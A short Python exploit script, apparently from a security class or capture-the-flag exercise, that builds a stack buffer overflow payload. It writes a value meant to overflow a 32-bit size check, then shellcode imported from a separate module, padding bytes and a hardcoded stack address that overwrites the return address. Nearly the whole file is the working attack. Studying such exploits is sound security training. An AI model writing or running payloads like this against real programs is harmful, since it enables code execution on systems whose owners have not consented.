from shellcode import shellcode
import sys

large_number = 0x80000040
shellcode_start_address = 0xfff6b830

# Write a number larger than 32 bits which will overflow, then shellcode 
# bytes, then garbage bytes to overflow the buffer, then the address of the 
# start of the shellcode on the stack
sys.stdout.buffer.write(large_number.to_bytes(4, "little") + shellcode + b"\x41" * (300 - len(shellcode)) + shellcode_start_address.to_bytes(4, "little"))